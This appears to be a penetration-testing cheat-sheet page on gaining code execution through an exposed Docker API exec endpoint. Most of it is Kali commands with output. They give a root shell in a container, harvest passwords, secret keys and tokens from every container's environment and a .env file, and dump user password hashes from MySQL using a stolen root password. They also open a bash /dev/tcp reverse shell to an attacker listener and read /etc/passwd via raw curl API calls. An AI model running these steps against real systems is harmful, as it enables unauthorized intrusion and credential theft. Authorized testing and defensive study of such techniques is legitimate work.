Skip to content
HackIndex logo

HackIndex

Docker API RCE via Exec

3 min read Apr 4, 2026

When running containers are present on the target, the Docker API exec endpoint enables executing arbitrary commands inside them without any additional authentication. This is useful when the container holds application secrets, database access, or internal service connectivity that is not directly reachable from outside. Container exec is also a stepping stone when the host filesystem mount approach is blocked by AppArmor or other controls — exec into an existing privileged container gives the same outcome. Confirm running containers through Docker API service detection first.

Execute Commands in a Running Container

┌──(kali㉿kali)-[~]
└─$ export DOCKER_HOST=tcp://$TARGET_IP:2375
┌──(kali㉿kali)-[~]
└─$ # List running containers
┌──(kali㉿kali)-[~]
└─$ docker ps --format 'table {{.ID}}\t{{.Names}}\t{{.Image}}'
CONTAINER ID   NAMES     IMAGE
a1b2c3d4e5f6   webapp    nginx:latest
b2c3d4e5f6a7   db        mysql:8.0
┌──(kali㉿kali)-[~]
└─$ docker exec -it webapp /bin/bash
root@a1b2c3d4e5f6:/var/www/html#

Non-Interactive Command Execution

For scripted extraction without an interactive shell:

┌──(kali㉿kali)-[~]
└─$ docker exec webapp cat /var/www/html/.env 2>/dev/null
DB_HOST=db
DB_DATABASE=webapp
DB_USERNAME=webapp_user
DB_PASSWORD=WebAppP@ss!
APP_KEY=base64:abc123==
┌──(kali㉿kali)-[~]
└─$ # Dump all environment variables from all running containers
┌──(kali㉿kali)-[~]
└─$ for cid in $(docker ps -q); do
echo "=== $(docker inspect $cid --format '{{.Name}}') ==="
docker exec $cid env 2>/dev/null | grep -iE 'password|secret|key|token'
done
=== /webapp ===
DB_PASSWORD=WebAppP@ss!
SECRET_KEY=django-insecure-abc123
=== /db ===
MYSQL_ROOT_PASSWORD=r00tP@ssword!

Access Internal Services via Container Network

Containers on the same Docker network can reach each other by service name. From inside the webapp container, the database is reachable at its container name:

┌──(kali㉿kali)-[~]
└─$ docker exec webapp mysql -h db -u root -pr00tP@ssword! -e 'show databases;'
Database
information_schema
webapp
mysql
┌──(kali㉿kali)-[~]
└─$ docker exec webapp mysql -h db -u root -pr00tP@ssword! webapp -e 'select username, password from users limit 10;'
username    password
admin       $2y$10$hashedpassword...
john.smith  $2y$10$hashedpassword2...

Get a Reverse Shell from Inside a Container

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ docker exec webapp bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'

Exec via Raw API — Without Docker CLI

The exec flow via raw API requires three requests: create the exec instance, start it, and read the output:

┌──(kali㉿kali)-[~]
└─$ # Step 1 — create exec instance
┌──(kali㉿kali)-[~]
└─$ EXEC_ID=$(curl -sk -X POST http://$TARGET_IP:2375/containers/webapp/exec \
-H 'Content-Type: application/json' \
-d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/etc/passwd"]}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["Id"])')
┌──(kali㉿kali)-[~]
└─$ echo $EXEC_ID
e1f2a3b4c5d6...
┌──(kali㉿kali)-[~]
└─$ # Step 2 — start exec and read output
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:2375/exec/$EXEC_ID/start \
-H 'Content-Type: application/json' \
-d '{"Detach":false}' | strings
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

References